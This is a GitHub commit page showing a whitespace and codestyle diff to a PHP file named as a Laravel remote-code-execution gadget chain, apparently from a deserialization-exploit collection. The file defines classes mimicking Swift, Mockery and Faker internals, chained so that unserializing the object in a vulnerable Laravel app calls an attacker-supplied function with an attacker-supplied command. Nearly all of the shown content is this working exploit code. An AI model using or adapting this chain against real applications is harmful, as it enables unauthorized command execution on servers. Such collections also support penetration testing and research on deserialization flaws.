Skip to content

Commit 7b0f89b

Browse files
committed
Codestyle
1 parent 0917bb5 commit 7b0f89b

File tree

1 file changed

+28
-16
lines changed

1 file changed

+28
-16
lines changed

gadgetchains/Laravel/RCE/21/gadgets.php

+28-16
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,11 @@
11
<?php
2-
namespace Faker{
3-
class DefaultGenerator{
2+
3+
namespace Faker
4+
{
5+
class DefaultGenerator
6+
{
47
protected $default;
8+
59
public function __construct($cmd)
610
{
711
$this->default = $cmd;
@@ -12,35 +16,43 @@ class ValidGenerator
1216
protected $generator;
1317
protected $validator;
1418
protected $maxRetries;
15-
public function __construct($function,$cmd){
16-
$this->generator=new DefaultGenerator($cmd);
17-
$this->maxRetries=9;
18-
$this->validator=$function;
19+
20+
public function __construct($function, $cmd)
21+
{
22+
$this->generator = new DefaultGenerator($cmd);
23+
$this->maxRetries = 9;
24+
$this->validator = $function;
1925
}
2026
}
2127
}
2228

23-
namespace Mockery\Generator{
29+
namespace Mockery\Generator
30+
{
2431
use Faker\ValidGenerator;
32+
2533
class DefinedTargetClass
2634
{
2735
private $rfc;
28-
public function __construct($function,$cmd)
36+
37+
public function __construct($function, $cmd)
2938
{
30-
$this->rfc=new ValidGenerator($function,$cmd);
39+
$this->rfc = new ValidGenerator($function, $cmd);
3140
}
3241
}
3342
}
3443

35-
namespace{
44+
namespace
45+
{
3646
use Mockery\Generator\DefinedTargetClass;
37-
class Swift_KeyCache_DiskKeyCache{
38-
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
47+
48+
class Swift_KeyCache_DiskKeyCache
49+
{
50+
private $_keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
3951
private $_path;
40-
public function __construct($function,$cmd){
41-
$this->_path=new DefinedTargetClass($function,$cmd);
52+
53+
public function __construct($function, $cmd)
54+
{
55+
$this->_path = new DefinedTargetClass($function, $cmd);
4256
}
4357
}
4458
}
45-
46-
?>

0 commit comments

Comments
 (0)